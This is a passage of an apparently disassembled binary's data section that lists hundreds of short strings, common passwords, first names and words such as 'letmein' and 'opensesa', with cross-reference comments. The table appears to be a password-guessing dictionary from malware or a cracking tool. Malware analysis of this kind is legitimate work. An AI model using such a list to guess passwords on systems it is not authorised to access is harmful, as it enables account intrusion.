aPolynomi	db 'polynomi',0         ; DATA XREF: ___:00430A24o
		align 4
aPolly		db 'polly',0            ; DATA XREF: ___:00430A20o
		align 4
aPolice		db 'police',0           ; DATA XREF: ___:00430A1Co
		align 4
aPoetry		db 'poetry',0           ; DATA XREF: ___:00430A18o
		align 4
aPlymouth	db 'plymouth',0         ; DATA XREF: ___:00430A14o
		align 4
aPluto		db 'pluto',0            ; DATA XREF: ___:00430A10o
		align 10h
aPlover		db 'plover',0           ; DATA XREF: ___:00430A0Co
		align 4
aPlayboy	db 'playboy',0          ; DATA XREF: ___:00430A08o
aPlane		db 'plane',0            ; DATA XREF: ___:00430A04o
		align 4
aPizza		db 'pizza',0            ; DATA XREF: ___:00430A00o
		align 10h
aPiss		db 'piss',0             ; DATA XREF: ___:004309FCo
		align 4
aPinname	db 'pinname',0          ; DATA XREF: ___:004309F8o
aPimp		db 'pimp',0             ; DATA XREF: ___:004309F4o
		align 4
aPierre		db 'pierre',0           ; DATA XREF: ___:004309F0o
		align 10h
aPick		db 'pick',0             ; DATA XREF: ___:004309ECo
		align 4
aPhuck		db 'phuck',0            ; DATA XREF: ___:004309E8o
		align 10h
aPhreak		db 'phreak',0           ; DATA XREF: ___:004309E4o
		align 4
aPhrase		db 'phrase',0           ; DATA XREF: ___:004309E0o
		align 10h
aPhrack		db 'phrack',0           ; DATA XREF: ___:004309DCo
		align 4
aPhoton		db 'photon',0           ; DATA XREF: ___:004309D8o
		align 10h
aPhone		db 'phone',0            ; DATA XREF: ___:004309D4o
		align 4
aPhoenix	db 'phoenix',0          ; DATA XREF: ___:004309D0o
aPhilip		db 'philip',0           ; DATA XREF: ___:004309CCo
		align 4
aPhil		db 'phil',0             ; DATA XREF: ___:004309C8o
		align 10h
aPeter		db 'peter',0            ; DATA XREF: ___:004309C4o
		align 4
aPete		db 'pete',0             ; DATA XREF: ___:004309C0o
		align 10h
aPervert	db 'pervert',0          ; DATA XREF: ___:004309BCo
aPersona	db 'persona',0          ; DATA XREF: ___:004309B8o
aPersimmo	db 'persimmo',0         ; DATA XREF: ___:004309B4o
		align 4
aPermit		db 'permit',0           ; DATA XREF: ___:004309B0o
		align 4
aPerfect	db 'perfect',0          ; DATA XREF: ___:004309ACo
aPercolat	db 'percolat',0         ; DATA XREF: ___:004309A8o
		align 4
aPepper		db 'pepper',0           ; DATA XREF: ___:004309A4o
		align 10h
aPeoria		db 'peoria',0           ; DATA XREF: ___:004309A0o
		align 4
aPentium	db 'pentium',0          ; DATA XREF: ___:0043099Co
aPenthous	db 'penthous',0         ; DATA XREF: ___:00430998o
		align 4
aPentagra	db 'pentagra',0         ; DATA XREF: ___:00430994o
		align 4
aPentagon	db 'pentagon',0         ; DATA XREF: ___:00430990o
		align 4
aPenname	db 'penname',0          ; DATA XREF: ___:0043098Co
aPenis		db 'penis',0            ; DATA XREF: ___:00430988o
		align 4
aPenguin	db 'penguin',0          ; DATA XREF: ___:00430984o
aPenelope	db 'penelope',0         ; DATA XREF: ___:00430980o
		align 4
aPencil		db 'pencil',0           ; DATA XREF: ___:0043097Co
		align 10h
aPecker		db 'pecker',0           ; DATA XREF: ___:00430978o
		align 4
aPeanuts	db 'peanuts',0          ; DATA XREF: ___:00430974o
aPaula		db 'paula',0            ; DATA XREF: ___:00430970o
		align 4
aPatty		db 'patty',0            ; DATA XREF: ___:0043096Co
		align 10h
aPatriot	db 'patriot',0          ; DATA XREF: ___:00430968o
aPatricia	db 'patricia',0         ; DATA XREF: ___:00430964o
		align 4
aPaste		db 'paste',0            ; DATA XREF: ___:00430960o
		align 4
aPassphra	db 'passphra',0         ; DATA XREF: ___:0043095Co
		align 4
aPascal		db 'pascal',0           ; DATA XREF: ___:00430958o
		align 10h
aPapers		db 'papers',0           ; DATA XREF: ___:00430954o
		align 4
aPaper		db 'paper',0            ; DATA XREF: ___:00430950o
		align 10h
aPapa		db 'papa',0             ; DATA XREF: ___:0043094Co
		align 4
aPamela		db 'pamela',0           ; DATA XREF: ___:00430948o
		align 10h
aPakistan	db 'pakistan',0         ; DATA XREF: ___:00430944o
		align 4
aPaint		db 'paint',0            ; DATA XREF: ___:00430940o
		align 4
aPainless	db 'painless',0         ; DATA XREF: ___:0043093Co
		align 10h
aPacker		db 'packer',0           ; DATA XREF: ___:00430938o
		align 4
aPackard	db 'packard',0          ; DATA XREF: ___:00430934o
aPacific	db 'pacific',0          ; DATA XREF: ___:00430930o
aOxford		db 'oxford',0           ; DATA XREF: ___:0043092Co
		align 10h
aOutside	db 'outside',0          ; DATA XREF: ___:00430928o
aOutput		db 'output',0           ; DATA XREF: ___:00430924o
		align 10h
aOutlaw		db 'outlaw',0           ; DATA XREF: ___:00430920o
		align 4
aOutdoors	db 'outdoors',0         ; DATA XREF: ___:0043091Co
		align 4
aOsiris		db 'osiris',0           ; DATA XREF: ___:00430918o
		align 4
aOscar		db 'oscar',0            ; DATA XREF: ___:00430914o
		align 4
aOrwell		db 'orwell',0           ; DATA XREF: ___:00430910o
		align 4
aOrient		db 'orient',0           ; DATA XREF: ___:0043090Co
		align 4
aOrca		db 'orca',0             ; DATA XREF: ___:00430908o
		align 4
aOperator	db 'operator',0         ; DATA XREF: ___:00430904o
		align 4
aOpensesa	db 'opensesa',0         ; DATA XREF: ___:00430900o
		align 4
aOpenlock	db 'openlock',0         ; DATA XREF: ___:004308FCo
		align 10h
aOpening	db 'opening',0          ; DATA XREF: ___:004308F8o
aOmega		db 'omega',0            ; DATA XREF: ___:004308F0o
		align 10h
aOlivia		db 'olivia',0           ; DATA XREF: ___:004308ECo
		align 4
aOlivetti	db 'olivetti',0         ; DATA XREF: ___:004308E8o
		align 4
aOldage		db 'oldage',0           ; DATA XREF: ___:004308E4o
		align 4
aOkay		db 'okay',0             ; DATA XREF: ___:004308E0o
		align 4
aOffice		db 'office',0           ; DATA XREF: ___:004308DCo
		align 4
aOcelot		db 'ocelot',0           ; DATA XREF: ___:004308D8o
		align 4
aOceanogr	db 'oceanogr',0         ; DATA XREF: ___:004308D4o
		align 10h
aObscurit	db 'obscurit',0         ; DATA XREF: ___:004308D0o
		align 4
aNyquist	db 'nyquist',0          ; DATA XREF: ___:004308CCo
aNuts		db 'nuts',0             ; DATA XREF: ___:004308C8o
		align 4
aNutritio	db 'nutritio',0         ; DATA XREF: ___:004308C4o
		align 4
aNumber		db 'number',0           ; DATA XREF: ___:004308C0o
		align 10h
aNull_1		db 'null',0             ; DATA XREF: ___:004308BCo
		align 4
aNukem		db 'nukem',0            ; DATA XREF: ___:004308B8o
		align 10h
aNuke		db 'nuke',0             ; DATA XREF: ___:004308B4o
		align 4
aNude		db 'nude',0             ; DATA XREF: ___:004308B0o
		align 10h
aNuclear	db 'nuclear',0          ; DATA XREF: ___:004308ACo
aNoxious	db 'noxious',0          ; DATA XREF: ___:004308A8o
aNovember	db 'november',0         ; DATA XREF: ___:004308A4o
		align 4
aNovel		db 'novel',0            ; DATA XREF: ___:004308A0o
		align 4
aNova		db 'nova',0             ; DATA XREF: ___:0043089Co
		align 4
aNoth		db 'noth',0             ; DATA XREF: ___:00430898o
		align 4
aNotes		db 'notes',0            ; DATA XREF: ___:00430894o
		align 4
aNoreen		db 'noreen',0           ; DATA XREF: ___:00430890o
		align 4
aNode		db 'node',0             ; DATA XREF: ___:0043088Co
		align 4
aNobody		db 'nobody',0           ; DATA XREF: ___:00430888o
		align 4
aNoble		db 'noble',0            ; DATA XREF: ___:00430884o
		align 4
aNnaacp		db 'nnaacp',0           ; DATA XREF: ___:00430880o
		align 4
aNita		db 'nita',0             ; DATA XREF: ___:0043087Co
		align 4
aNintendo	db 'nintendo',0         ; DATA XREF: ___:00430878o
		align 4
aNightmar	db 'nightmar',0         ; DATA XREF: ___:00430874o
		align 4
aNight		db 'night',0            ; DATA XREF: ___:00430870o
		align 4
aNicotine	db 'nicotine',0         ; DATA XREF: ___:0043086Co
		align 4
aNicole		db 'nicole',0           ; DATA XREF: ___:00430868o
		align 10h
aNice		db 'nice',0             ; DATA XREF: ___:00430864o
		align 4
aNext		db 'next',0             ; DATA XREF: ___:00430860o
		align 10h
aNewyork	db 'newyork',0          ; DATA XREF: ___:0043085Co
aNewton		db 'newton',0           ; DATA XREF: ___:00430858o
		align 10h
aNewsgrou	db 'newsgrou',0         ; DATA XREF: ___:00430854o
		align 4
aNews		db 'news',0             ; DATA XREF: ___:00430850o
		align 4
aNewborn	db 'newborn',0          ; DATA XREF: ___:0043084Co
aNetwork_0	db 'network',0          ; DATA XREF: ___:00430848o
aNetscape	db 'netscape',0         ; DATA XREF: ___:00430844o
		align 10h
aNess		db 'ness',0             ; DATA XREF: ___:00430840o
		align 4
aNeptune	db 'neptune',0          ; DATA XREF: ___:0043083Co
aNepenthe	db 'nepenthe',0         ; DATA XREF: ___:00430838o
		align 4
aNavy		db 'navy',0             ; DATA XREF: ___:00430834o
		align 4
aNasa		db 'nasa',0             ; DATA XREF: ___:00430830o
		align 4
aNapoleon	db 'napoleon',0         ; DATA XREF: ___:0043082Co
		align 4
aNancy		db 'nancy',0            ; DATA XREF: ___:00430828o
		align 10h
aName		db 'name',0             ; DATA XREF: ___:00430824o
		align 4
aNagel		db 'nagel',0            ; DATA XREF: ___:00430820o
		align 10h
aMutant		db 'mutant',0           ; DATA XREF: ___:0043081Co
		align 4
aMuppets	db 'muppets',0          ; DATA XREF: ___:00430818o
aMsdos		db 'msdos',0            ; DATA XREF: ___:00430814o
		align 4
aMpeg		db 'mpeg',0             ; DATA XREF: ___:00430810o
		align 10h
aMozart		db 'mozart',0           ; DATA XREF: ___:0043080Co
		align 4
aMovies		db 'movies',0           ; DATA XREF: ___:00430808o
		align 10h
aMovie		db 'movie',0            ; DATA XREF: ___:00430804o
		align 4
aMove		db 'move',0             ; DATA XREF: ___:00430800o
		align 10h
aMouse		db 'mouse',0            ; DATA XREF: ___:004307FCo
		align 4
aMountain	db 'mountain',0         ; DATA XREF: ___:004307F8o
		align 4
aMosaic		db 'mosaic',0           ; DATA XREF: ___:004307F4o
		align 4
aMortgage	db 'mortgage',0         ; DATA XREF: ___:004307F0o
		align 4
aMortalco	db 'mortalco',0         ; DATA XREF: ___:004307ECo
		align 4
aMortal		db 'mortal',0           ; DATA XREF: ___:004307E8o
		align 4
aMorris		db 'morris',0           ; DATA XREF: ___:004307E4o
		align 4
aMorley		db 'morley',0           ; DATA XREF: ___:004307E0o
		align 4
aMore		db 'more',0             ; DATA XREF: ___:004307DCo
		align 4
aMoose		db 'moose',0            ; DATA XREF: ___:004307D8o
		align 4
aMoor		db 'moor',0             ; DATA XREF: ___:004307D4o
		align 4
aMoom		db 'moom',0             ; DATA XREF: ___:004307D0o
		align 4
aMonica		db 'monica',0           ; DATA XREF: ___:004307CCo
		align 4
aMonday		db 'monday',0           ; DATA XREF: ___:004307C8o
		align 4
aMoguls		db 'moguls',0           ; DATA XREF: ___:004307C4o
		align 4
aMogul		db 'mogul',0            ; DATA XREF: ___:004307C0o
		align 4
aModem		db 'modem',0            ; DATA XREF: ___:004307BCo
		align 4
aMode		db 'mode',0             ; DATA XREF: ___:004307B8o
		align 4
aMkii		db 'mkii',0             ; DATA XREF: ___:004307B4o
		align 4
aMission	db 'mission',0          ; DATA XREF: ___:004307B0o
aMisfit		db 'misfit',0           ; DATA XREF: ___:004307ACo
		align 4
aMinsky		db 'minsky',0           ; DATA XREF: ___:004307A8o
		align 4
aMinimum	db 'minimum',0          ; DATA XREF: ___:004307A4o
aMine		db 'mine',0             ; DATA XREF: ___:004307A0o
		align 4
aMike		db 'mike',0             ; DATA XREF: ___:0043079Co
		align 4
aMidieval	db 'midieval',0         ; DATA XREF: ___:00430798o
		align 10h
aMicrosof	db 'microsof',0         ; DATA XREF: ___:00430794o
		align 4
aMicropro	db 'micropro',0         ; DATA XREF: ___:00430790o
		align 4
aMicrochi	db 'microchi',0         ; DATA XREF: ___:0043078Co
		align 4
aMicro		db 'micro',0            ; DATA XREF: ___:00430788o
		align 4
aMickey		db 'mickey',0           ; DATA XREF: ___:00430784o
		align 4
aMichelle	db 'michelle',0         ; DATA XREF: ___:00430780o
		align 10h
aMichele	db 'michele',0          ; DATA XREF: ___:0043077Co
aMichelan	db 'michelan',0         ; DATA XREF: ___:00430778o
		align 4
aMichel		db 'michel',0           ; DATA XREF: ___:00430774o
		align 4
aMichael	db 'michael',0          ; DATA XREF: ___:00430770o
aMice		db 'mice',0             ; DATA XREF: ___:0043076Co
		align 4
aMets		db 'mets',0             ; DATA XREF: ___:00430768o
		align 4
aMetalica	db 'metalica',0         ; DATA XREF: ___:00430764o
		align 10h
aMetalhea	db 'metalhea',0         ; DATA XREF: ___:00430760o
		align 4
aMetal		db 'metal',0            ; DATA XREF: ___:0043075Co
		align 4
aMerlin		db 'merlin',0           ; DATA XREF: ___:00430758o
		align 4
aMercury	db 'mercury',0          ; DATA XREF: ___:00430754o
aMenu		db 'menu',0             ; DATA XREF: ___:00430750o
		align 4
aMenace		db 'menace',0           ; DATA XREF: ___:0043074Co
		align 4
aMemory		db 'memory',0           ; DATA XREF: ___:00430748o
		align 4
aMember		db 'member',0           ; DATA XREF: ___:00430744o
		align 4
aMelrose	db 'melrose',0          ; DATA XREF: ___:00430740o
aMellon		db 'mellon',0           ; DATA XREF: ___:0043073Co
		align 4
aMelissa	db 'melissa',0          ; DATA XREF: ___:00430738o
aMegan		db 'megan',0            ; DATA XREF: ___:00430734o
		align 4
aMegadeth	db 'megadeth',0         ; DATA XREF: ___:00430730o
		align 10h
aMegabyte	db 'megabyte',0         ; DATA XREF: ___:0043072Co
		align 4
aMeagan		db 'meagan',0           ; DATA XREF: ___:00430728o
		align 4
aMaurice	db 'maurice',0          ; DATA XREF: ___:00430724o
aMath		db 'math',0             ; DATA XREF: ___:00430720o
		align 4
aMaster		db 'master',0           ; DATA XREF: ___:0043071Co
		align 4
aMason		db 'mason',0            ; DATA XREF: ___:00430718o
		align 4
aMary		db 'mary',0             ; DATA XREF: ___:00430714o
		align 4
aMarvin		db 'marvin',0           ; DATA XREF: ___:00430710o
		align 4
aMarty		db 'marty',0            ; DATA XREF: ___:0043070Co
		align 4
aMars		db 'mars',0             ; DATA XREF: ___:00430708o
		align 4
aMarriage	db 'marriage',0         ; DATA XREF: ___:00430704o
		align 10h
aMarni		db 'marni',0            ; DATA XREF: ___:00430700o
		align 4
aMarkus		db 'markus',0           ; DATA XREF: ___:004306FCo
		align 10h
aMark		db 'mark',0             ; DATA XREF: ___:004306F8o
		align 4
aMarines	db 'marines',0          ; DATA XREF: ___:004306F4o
aMarijuan	db 'marijuan',0         ; DATA XREF: ___:004306F0o
		align 4
aMarietta	db 'marietta',0         ; DATA XREF: ___:004306ECo
		align 4
aMariens	db 'mariens',0          ; DATA XREF: ___:004306E8o
aMaria		db 'maria',0            ; DATA XREF: ___:004306E4o
		align 4
aMarcy		db 'marcy',0            ; DATA XREF: ___:004306E0o
		align 10h
aMarci		db 'marci',0            ; DATA XREF: ___:004306DCo
		align 4
aMara		db 'mara',0             ; DATA XREF: ___:004306D8o
		align 10h
aManager	db 'manager',0          ; DATA XREF: ___:004306D4o
aMana		db 'mana',0             ; DATA XREF: ___:004306D0o
		align 10h
aMalcom		db 'malcom',0           ; DATA XREF: ___:004306CCo
		align 4
aMalcolm	db 'malcolm',0          ; DATA XREF: ___:004306C8o
aMaint		db 'maint',0            ; DATA XREF: ___:004306C4o
		align 4
aMail		db 'mail',0             ; DATA XREF: ___:004306C0o
		align 10h
aMagnet		db 'magnet',0           ; DATA XREF: ___:004306BCo
		align 4
aMagic		db 'magic',0            ; DATA XREF: ___:004306B8o
		align 10h
aMaggot		db 'maggot',0           ; DATA XREF: ___:004306B4o
		align 4
aMacro		db 'macro',0            ; DATA XREF: ___:004306B0o
		align 10h
aMack		db 'mack',0             ; DATA XREF: ___:004306ACo
		align 4
aMacintos	db 'macintos',0         ; DATA XREF: ___:004306A8o
		align 4
aMachine	db 'machine',0          ; DATA XREF: ___:004306A4o
aLynne		db 'lynne',0            ; DATA XREF: ___:004306A0o
		align 4
aLynn		db 'lynn',0             ; DATA XREF: ___:0043069Co
		align 4
aLust		db 'lust',0             ; DATA XREF: ___:00430698o
		align 4
aLuke		db 'luke',0             ; DATA XREF: ___:00430694o
		align 4
aLude		db 'lude',0             ; DATA XREF: ___:00430690o
		align 4
aLucy		db 'lucy',0             ; DATA XREF: ___:0043068Co
		align 4
aLucus		db 'lucus',0            ; DATA XREF: ___:00430688o
		align 4
aLuck		db 'luck',0             ; DATA XREF: ___:00430684o
		align 4
aLover		db 'lover',0            ; DATA XREF: ___:00430680o
		align 4
aLovebug	db 'lovebug',0          ; DATA XREF: ___:0043067Co
aLouis		db 'louis',0            ; DATA XREF: ___:00430678o
		align 4
aLoser		db 'loser',0            ; DATA XREF: ___:00430674o
		align 4
aLorraine	db 'lorraine',0         ; DATA XREF: ___:00430670o
		align 4
aLorin		db 'lorin',0            ; DATA XREF: ___:0043066Co
		align 10h
aLori		db 'lori',0             ; DATA XREF: ___:00430668o
		align 4
aLore		db 'lore',0             ; DATA XREF: ___:00430664o
		align 10h
aLoose		db 'loose',0            ; DATA XREF: ___:00430660o
		align 4
aLolopc		db 'lolopc',0           ; DATA XREF: ___:0043065Co
		align 10h
aLois		db 'lois',0             ; DATA XREF: ___:00430658o
		align 4
aLogout		db 'logout',0           ; DATA XREF: ___:00430654o
		align 10h
aLoginwor	db 'loginwor',0         ; DATA XREF: ___:00430650o
		align 4
aLogic		db 'logic',0            ; DATA XREF: ___:0043064Co
		align 4
aLockword	db 'lockword',0         ; DATA XREF: ___:00430648o
		align 10h
aLockout	db 'lockout',0          ; DATA XREF: ___:00430644o
aLock		db 'lock',0             ; DATA XREF: ___:00430640o
		align 10h
aLoad		db 'load',0             ; DATA XREF: ___:0043063Co
		align 4
aLive		db 'live',0             ; DATA XREF: ___:00430638o
		align 10h
aLiteratu	db 'literatu',0         ; DATA XREF: ___:00430634o
		align 4
aLisp		db 'lisp',0             ; DATA XREF: ___:00430630o
		align 4
aLisa		db 'lisa',0             ; DATA XREF: ___:0043062Co
		align 4
aLips		db 'lips',0             ; DATA XREF: ___:00430628o
		align 4
aLion		db 'lion',0             ; DATA XREF: ___:00430624o
		align 4
aLink		db 'link',0             ; DATA XREF: ___:00430620o
		align 4
aLinda		db 'linda',0            ; DATA XREF: ___:0043061Co
		align 4
aLimited	db 'limited',0          ; DATA XREF: ___:00430618o
aLimbaugh	db 'limbaugh',0         ; DATA XREF: ___:00430614o
		align 10h
aLima		db 'lima',0             ; DATA XREF: ___:00430610o
		align 4
aLightsab	db 'lightsab',0         ; DATA XREF: ___:0043060Co
		align 4
aLight		db 'light',0            ; DATA XREF: ___:00430608o
		align 4
aLife		db 'life',0             ; DATA XREF: ___:00430604o
		align 4
aLicker		db 'licker',0           ; DATA XREF: ___:00430600o
		align 4
aLick		db 'lick',0             ; DATA XREF: ___:004305FCo
		align 4
aLibrary	db 'library',0          ; DATA XREF: ___:004305F8o
aLiberal	db 'liberal',0          ; DATA XREF: ___:004305F4o
aLexluthe	db 'lexluthe',0         ; DATA XREF: ___:004305F0o
		align 10h
aLewis		db 'lewis',0            ; DATA XREF: ___:004305ECo
		align 4
aLetmein	db 'letmein',0          ; DATA XREF: ___:004305E8o
aLeslie		db 'leslie',0           ; DATA XREF: ___:004305E4o
		align 4
aLesbian	db 'lesbian',0          ; DATA XREF: ___:004305E0o
aLeroy		db 'leroy',0            ; DATA XREF: ___:004305DCo
		align 4
aLeland		db 'leland',0           ; DATA XREF: ___:004305D8o
		align 10h
aLegal		db 'legal',0            ; DATA XREF: ___:004305D4o
		align 4
aLeftwing	db 'leftwing',0         ; DATA XREF: ___:004305D0o
		align 4
aLeft		db 'left',0             ; DATA XREF: ___:004305CCo
		align 4
aLebesgue	db 'lebesgue',0         ; DATA XREF: ___:004305C8o
		align 4
aLeah		db 'leah',0             ; DATA XREF: ___:004305C4o
		align 10h
aLazer		db 'lazer',0            ; DATA XREF: ___:004305C0o
		align 4
aLazarus	db 'lazarus',0          ; DATA XREF: ___:004305BCo
aLava		db 'lava',0             ; DATA XREF: ___:004305B8o
		align 4
aLaura		db 'laura',0            ; DATA XREF: ___:004305B4o
		align 10h
aLaser		db 'laser',0            ; DATA XREF: ___:004305B0o
		align 4
aLarry		db 'larry',0            ; DATA XREF: ___:004305ACo
		align 10h
aLarkin		db 'larkin',0           ; DATA XREF: ___:004305A8o
		align 4
aLara		db 'lara',0             ; DATA XREF: ___:004305A4o
		align 10h
aLaptop		db 'laptop',0           ; DATA XREF: ___:004305A0o
		align 4
aLana		db 'lana',0             ; DATA XREF: ___:0043059Co
		align 10h
aLaminati	db 'laminati',0         ; DATA XREF: ___:00430598o
		align 4
aLambda		db 'lambda',0           ; DATA XREF: ___:00430594o
		align 4
aLakers		db 'lakers',0           ; DATA XREF: ___:00430590o
		align 4
aLadle		db 'ladle',0            ; DATA XREF: ___:0043058Co
		align 4
aLadies		db 'ladies',0           ; DATA XREF: ___:00430588o
		align 4
aKristy		db 'kristy',0           ; DATA XREF: ___:00430584o
		align 4
aKristine	db 'kristine',0         ; DATA XREF: ___:00430580o
		align 10h
aKristin	db 'kristin',0          ; DATA XREF: ___:0043057Co
aKristie	db 'kristie',0          ; DATA XREF: ___:00430578o
aKristi		db 'kristi',0           ; DATA XREF: ___:00430574o
		align 4
aKristen	db 'kristen',0          ; DATA XREF: ___:00430570o
aKrista		db 'krista',0           ; DATA XREF: ___:0043056Co
		align 4
aKnown		db 'known',0            ; DATA XREF: ___:00430568o
		align 10h
aKnightma	db 'knightma',0         ; DATA XREF: ___:00430564o
		align 4
aKnight		db 'knight',0           ; DATA XREF: ___:00430560o
		align 4
aKnife		db 'knife',0            ; DATA XREF: ___:0043055Co
		align 4
aKlingon	db 'klingon',0          ; DATA XREF: ___:00430558o
aKitten		db 'kitten',0           ; DATA XREF: ___:00430554o
		align 4
aKissmyas	db 'kissmyas',0         ; DATA XREF: ___:00430550o
		align 4
aKiss		db 'kiss',0             ; DATA XREF: ___:0043054Co
		align 10h
aKirkland	db 'kirkland',0         ; DATA XREF: ___:00430548o
		align 4
aKirk		db 'kirk',0             ; DATA XREF: ___:00430544o
		align 4
aKing		db 'king',0             ; DATA XREF: ___:00430540o
		align 4
aKimberly	db 'kimberly',0         ; DATA XREF: ___:0043053Co
		align 4
aKilo		db 'kilo',0             ; DATA XREF: ___:00430538o
		align 10h
aKillthem	db 'killthem',0         ; DATA XREF: ___:00430534o
		align 4
aKill		db 'kill',0             ; DATA XREF: ___:00430530o
		align 4
aKids		db 'kids',0             ; DATA XREF: ___:0043052Co
		align 4
aKeyword	db 'keyword',0          ; DATA XREF: ___:00430528o
aKeyin		db 'keyin',0            ; DATA XREF: ___:00430524o
		align 4
aKeybord	db 'keybord',0          ; DATA XREF: ___:00430520o
aKewl		db 'kewl',0             ; DATA XREF: ___:0043051Co
		align 4
aKevin		db 'kevin',0            ; DATA XREF: ___:00430518o
		align 4
aKerry		db 'kerry',0            ; DATA XREF: ___:00430514o
		align 4
aKerrie		db 'kerrie',0           ; DATA XREF: ___:00430510o
		align 4
aKerri		db 'kerri',0            ; DATA XREF: ___:0043050Co
		align 4
aKernel		db 'kernel',0           ; DATA XREF: ___:00430508o
		align 4
aKermit		db 'kermit',0           ; DATA XREF: ___:00430504o
		align 4
aKeri		db 'keri',0             ; DATA XREF: ___:00430500o
		align 4
aKelly		db 'kelly',0            ; DATA XREF: ___:004304FCo
		align 4
aKatrina	db 'katrina',0          ; DATA XREF: ___:004304F8o
aKatina		db 'katina',0           ; DATA XREF: ___:004304F4o
		align 4
aKathy		db 'kathy',0            ; DATA XREF: ___:004304F0o
		align 4
aKathrine	db 'kathrine',0         ; DATA XREF: ___:004304ECo
		align 10h
aKathleen	db 'kathleen',0         ; DATA XREF: ___:004304E8o
		align 4
aKate		db 'kate',0             ; DATA XREF: ___:004304E4o
		align 4
aKatana		db 'katana',0           ; DATA XREF: ___:004304E0o
		align 4
aKarina		db 'karina',0           ; DATA XREF: ___:004304DCo
		align 4
aKarie		db 'karie',0            ; DATA XREF: ___:004304D8o
		align 4
aKaren		db 'karen',0            ; DATA XREF: ___:004304D4o
		align 4
aKaka		db 'kaka',0             ; DATA XREF: ___:004304D0o
		align 4
aJupiter	db 'jupiter',0          ; DATA XREF: ___:004304CCo
aJune		db 'june',0             ; DATA XREF: ___:004304C8o
		align 4
aJuliet		db 'juliet',0           ; DATA XREF: ___:004304C4o
		align 4
aJulie		db 'julie',0            ; DATA XREF: ___:004304C0o
		align 4
aJulia		db 'julia',0            ; DATA XREF: ___:004304BCo
		align 4
aJuicy		db 'juicy',0            ; DATA XREF: ___:004304B8o
		align 4
aJuggle		db 'juggle',0           ; DATA XREF: ___:004304B4o
		align 4
aJudy		db 'judy',0             ; DATA XREF: ___:004304B0o
		align 4
aJudith		db 'judith',0           ; DATA XREF: ___:004304ACo
		align 4
aJoyce		db 'joyce',0            ; DATA XREF: ___:004304A8o
		align 4
aJournal	db 'journal',0          ; DATA XREF: ___:004304A4o
aJoshua		db 'joshua',0           ; DATA XREF: ___:004304A0o
		align 4
aJoseph		db 'joseph',0           ; DATA XREF: ___:0043049Co
		align 4
aJohnny		db 'johnny',0           ; DATA XREF: ___:00430498o
		align 4
aJohndoe	db 'johndoe',0          ; DATA XREF: ___:00430494o
aJohn		db 'john',0             ; DATA XREF: ___:00430490o
		align 4
aJody		db 'jody',0             ; DATA XREF: ___:0043048Co
		align 4
aJoanne		db 'joanne',0           ; DATA XREF: ___:00430488o
		align 4
aJixian		db 'jixian',0           ; DATA XREF: ___:00430484o
		align 4
aJill		db 'jill',0             ; DATA XREF: ___:00430480o
		align 4
aJewelry	db 'jewelry',0          ; DATA XREF: ___:0043047Co
aJester		db 'jester',0           ; DATA XREF: ___:00430478o
		align 4
aJessica	db 'jessica',0          ; DATA XREF: ___:00430474o
aJerusale	db 'jerusale',0         ; DATA XREF: ___:00430470o
		align 10h
aJerry		db 'jerry',0            ; DATA XREF: ___:0043046Co
		align 4
aJenny		db 'jenny',0            ; DATA XREF: ___:00430468o
		align 10h
aJennifer	db 'jennifer',0         ; DATA XREF: ___:00430464o
		align 4
aJenni		db 'jenni',0            ; DATA XREF: ___:00430460o
		align 4
aJeff		db 'jeff',0             ; DATA XREF: ___:0043045Co
		align 4
aJeanne		db 'jeanne',0           ; DATA XREF: ___:00430458o
		align 4
aJean		db 'jean',0             ; DATA XREF: ___:00430454o
		align 4
aJazz		db 'jazz',0             ; DATA XREF: ___:00430450o
		align 4
aJava		db 'java',0             ; DATA XREF: ___:0043044Co
		align 4
aJasmin		db 'jasmin',0           ; DATA XREF: ___:00430448o
		align 4
aJapan		db 'japan',0            ; DATA XREF: ___:00430444o
		align 4
aJanie		db 'janie',0            ; DATA XREF: ___:00430440o
		align 4
aJanice		db 'janice',0           ; DATA XREF: ___:0043043Co
		align 4
aJanet		db 'janet',0            ; DATA XREF: ___:00430438o
		align 4
aJane		db 'jane',0             ; DATA XREF: ___:00430434o
		align 4
aJail		db 'jail',0             ; DATA XREF: ___:00430430o
		align 4
aJackie		db 'jackie',0           ; DATA XREF: ___:0043042Co
		align 4
aIsis		db 'isis',0             ; DATA XREF: ___:00430428o
		align 4
aIrishman	db 'irishman',0         ; DATA XREF: ___:00430424o
		align 10h
aIrene		db 'irene',0            ; DATA XREF: ___:00430420o
		align 4
aInvent		db 'invent',0           ; DATA XREF: ___:0043041Co
		align 10h
aInteger	db 'integer',0          ; DATA XREF: ___:00430418o
aInside		db 'inside',0           ; DATA XREF: ___:00430414o
		align 10h
aInput		db 'input',0            ; DATA XREF: ___:00430410o
		align 4
aInnocuou	db 'innocuou',0         ; DATA XREF: ___:0043040Co
		align 4
aInna		db 'inna',0             ; DATA XREF: ___:00430408o
		align 4
aIngrid		db 'ingrid',0           ; DATA XREF: ___:00430404o
		align 4
aIngress	db 'ingress',0          ; DATA XREF: ___:00430400o
aIngres		db 'ingres',0           ; DATA XREF: ___:004303FCo
		align 4
aIndians	db 'indians',0          ; DATA XREF: ___:004303F8o
aIndiana	db 'indiana',0          ; DATA XREF: ___:004303F4o
aIndian		db 'indian',0           ; DATA XREF: ___:004303F0o
		align 4
aIndia		db 'india',0            ; DATA XREF: ___:004303ECo
		align 4
aInclude	db 'include',0          ; DATA XREF: ___:004303E8o
aImperial	db 'imperial',0         ; DATA XREF: ___:004303E4o
		align 4
aImmortal	db 'immortal',0         ; DATA XREF: ___:004303E0o
		align 4
aImbrogli	db 'imbrogli',0         ; DATA XREF: ___:004303DCo
		align 10h
aImage		db 'image',0            ; DATA XREF: ___:004303D8o
		align 4
aIllumina	db 'illumina',0         ; DATA XREF: ___:004303D4o
		align 4
aIcecream	db 'icecream',0         ; DATA XREF: ___:004303D0o
		align 10h
aHypertxt	db 'hypertxt',0         ; DATA XREF: ___:004303CCo
		align 4
aHyper		db 'hyper',0            ; DATA XREF: ___:004303C8o
		align 4
aHydrogen	db 'hydrogen',0         ; DATA XREF: ___:004303C4o
		align 10h
aHutchins	db 'hutchins',0         ; DATA XREF: ___:004303C0o
		align 4
aHunter		db 'hunter',0           ; DATA XREF: ___:004303BCo
		align 4
aHunt		db 'hunt',0             ; DATA XREF: ___:004303B8o
		align 4
aHttp_0		db 'http',0             ; DATA XREF: ___:004303B4o
		align 4
aHotel		db 'hotel',0            ; DATA XREF: ___:004303B0o
		align 4
aHotdog		db 'hotdog',0           ; DATA XREF: ___:004303ACo
		align 4
aHost		db 'host',0             ; DATA XREF: ___:004303A8o
		align 4
aHorus		db 'horus',0            ; DATA XREF: ___:004303A4o
		align 4
aHorse		db 'horse',0            ; DATA XREF: ___:004303A0o
		align 4
